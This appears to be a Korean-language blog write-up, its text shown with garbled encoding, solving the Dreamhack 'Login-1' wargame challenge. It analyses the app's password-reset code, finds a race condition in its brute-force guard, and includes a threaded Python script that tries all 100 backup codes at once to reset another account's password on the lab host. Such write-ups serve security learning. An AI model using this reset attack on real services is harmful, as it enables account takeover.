๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
โœ’๏ธ Web Hacking/Dreamhack

[Dreamhack] Login-1 ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

by A Lim Han 2022. 11. 14.

7 - 0 - 1. Login-1 ์Šคํฌ๋ฆฝํŠธ ๊ณต๊ฒฉ ์‹ค์Šต

 

 

# Login-1 ์Šคํฌ๋ฆฝํŠธ ๊ณต๊ฒฉ ์‹ค์Šต

1. ๋ฌธ์ œ ์ •๋ณด ํ™•์ธ ํ›„ ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

 

 

 

 

2. app.py ํŒŒ์ผ์„ ์—ด๊ณ  ์ฝ”๋“œ ๋ถ„์„

+ << Line 13 ~ 17 >> 

: admin ๊ณ„์ •์˜ ๊ถŒํ•œ์€ 1, guest ๊ณ„์ •์˜ ๊ถŒํ•œ์ด 0์œผ๋กœ ์„ค์ •๋˜๋ฉฐ, 5ํšŒ ์ด์ƒ ๋น„๋ฐ€๋ฒˆํ˜ธ์— ์ž˜๋ชป๋œ ๊ฐ’์„ ์ž…๋ ฅํ•œ๋‹ค๋ฉด ๋” ์ด์ƒ ์‹œ๋„ํ•  ์ˆ˜ ์—†์Œ 

 

+ << Line 24 ~ 25 >>  

: ์‚ฌ์šฉ์ž๊ฐ€ ์ƒˆ๋กœ์šด ๊ณ„์ •์„ ์ƒ์„ฑํ•  ๋•Œ ๊ฐ ๊ณ„์ •๋งˆ๋‹ค ๋ถ€์—ฌ๋˜๋Š” BackupCode๋Š” 1๊ณผ 100 ์‚ฌ์ด์˜ ์ •์ˆ˜์ž„ 

 

 

 

+ << Line 70 ~ 77 >>  

: ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ userid, password, name์„ ์ž…๋ ฅ๋ฐ›์•„ ์ƒˆ๋กœ์šด ๊ณ„์ •์„ ์ƒ์„ฑ

 

+ << Line 82 ~ 83 >>  

: ๋งŒ์ผ ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ userid๊ฐ€ ๊ธฐ์กด์— ์กด์žฌํ•˜๋˜ id์™€ ๋™์ผํ•˜๋‹ค๋ฉด 'Already Exists userid.' ๊ฒฝ๊ณ ๋ฌธ์„ ์ถœ๋ ฅ

 

 

 

+ << Line 91 ~ 98 >>

: ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ id, ๋ณ€๊ฒฝํ•  ๋น„๋ฐ€๋ฒˆํ˜ธ, ํšŒ์›๊ฐ€์ž… ์‹œ์— ๋ถ€์—ฌ๋œ backupCode ๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š” ์ฝ”๋“œ

 

+ << Line 103 ~ 105 >> 

: ์ „์ˆ˜ ๊ณต๊ฒฉ์„ ์˜ˆ๋ฐฉํ•˜๊ธฐ ์œ„ํ•œ ์ฝ”๋“œ๋กœ, 1์ดˆ๊ฐ€ ์ง€๋‚˜๊ธฐ ์ „ ๋‹ค์ˆ˜์˜ ์ ‘๊ทผ์ด ๋ฐœ์ƒํ–ˆ์„ ๊ฒฝ์šฐ ๋ ˆ์ด์Šค ์ปจ๋””์…˜ ์ทจ์•ฝ์ ์„ ๋ฐœ์ƒ์‹œํ‚ด

-->  ๋ ˆ์ด์Šค ์ปจ๋””์…˜์ด๋ž€? 

: 2๊ฐœ ์ด์ƒ์˜ ํ”„๋กœ์„ธ์Šค๊ฐ€ ํ•œ ์ž์›์„ ํ•œ๊บผ๋ฒˆ์— ์ฝ์–ด๋“ค์ด๊ฑฐ๋‚˜ ์‚ฌ์šฉํ•  ๋•Œ, ๊ทธ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ์ด๋ฃจ์–ด์ง„ ์ˆœ์„œ๊ฐ€ ํ”„๋กœ์„ธ์Šค ์‹คํ–‰ ๊ฒฐ๊ณผ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ์ƒํ™ฉ 

 

+ << Line 106 ~ 122 >>

: ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ id, BackupCode๊ฐ€ ๊ธฐ์กด ๊ณ„์ •์˜ ์ •๋ณด์™€ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ž…๋ ฅํ•œ ๊ฐ’์œผ๋กœ ๋ณ€๊ฒฝํ•ด์คŒ

 

 

 

 

3. ์ ‘์† ๋งํฌ ํ™•์ธ ํ›„ ์•ˆ๋‚ด๋œ ๋งํฌ๋กœ ์ ‘์†

 

 

 

 

 

4. URL ์ƒ๋‹จ์— /user/1 ์„ ์ถ”๊ฐ€ํ•˜์—ฌ admin ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๊ณ„์ • ํ™•์ธ

์บก์ณ๋ฅผ ๋‹ค์‹œํ•ด์„œ ๋ฌธ์ œ ํ’€์ด url๊ณผ ์ƒ์ดํ•จ

+ Apple ๊ณ„์ •์„ ์ด์šฉํ•˜์—ฌ Flag ํƒ์ƒ‰์„ ์‹œ๋„ํ•  ๊ณ„ํš

 

 

 

 

5. ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ์ด๋™ ํ›„ userid, password์— ๊ฐ๊ฐ admin์„ ์ž…๋ ฅํ•˜์—ฌ ๋กœ๊ทธ์ธ ์‹œ๋„ 

 

์ž˜๋ชป๋œ ์•„์ด๋””์™€ ํŒจ์Šค์›Œ๋“œ๋ผ๋Š” ๊ฒฝ๊ณ  ๋ฉ”์‹œ์ง€ ์ถœ๋ ฅ

 

 

 

 

6. Python ์Šคํฌ๋ฆฝํŠธ ์ž‘์„ฑ์„ ํ†ตํ•ด Apple ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ 0000์œผ๋กœ ๋ณ€๊ฒฝ

import threading, requests

url = "http://host3.dreamhack.games:17262/forgot_password"

def forgot(backupCode):
    data = {"userid": "Apple", "newpassword": "0000", "backupCode": backupCode}
    requests.post(url, data=data)
    print(f"Backupcode: {backupCode}")

if __name__ == "__main__":
    threads = []
    print("Attack Start")

    for i in range(1, 100 + 1):
        t = threading.Thread(target=forgot, args=[i])
        t.start()
        threads.append(t)

    for thread in threads:
        thread.join()

 

 

 

 

7. ๊ณต๊ฒฉ ์ˆ˜ํ–‰ ํ›„ ๋‹ค์‹œ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ๋“ค์–ด์™€ Apple ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ ์‹œ๋„

 

userid์— Apple, password์— 0000์ž…๋ ฅ

 

๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•จ์„ ํ™•์ธ

 

 

 

 

8. ๋กœ๊ทธ์ธ ํ›„ admin ํƒญ ํด๋ฆญ  -->  Flag๊ฐ€ ์ถœ๋ ฅ๋จ์„ ํ™•์ธ

 

 

 

 

+ ํ’€์ด ๋ฐ ์ฝ”๋“œ ์ฐธ๊ณ 

https://weakness.kr/dreamhack/Dreamhack-login-1/

https://krampus.tistory.com/100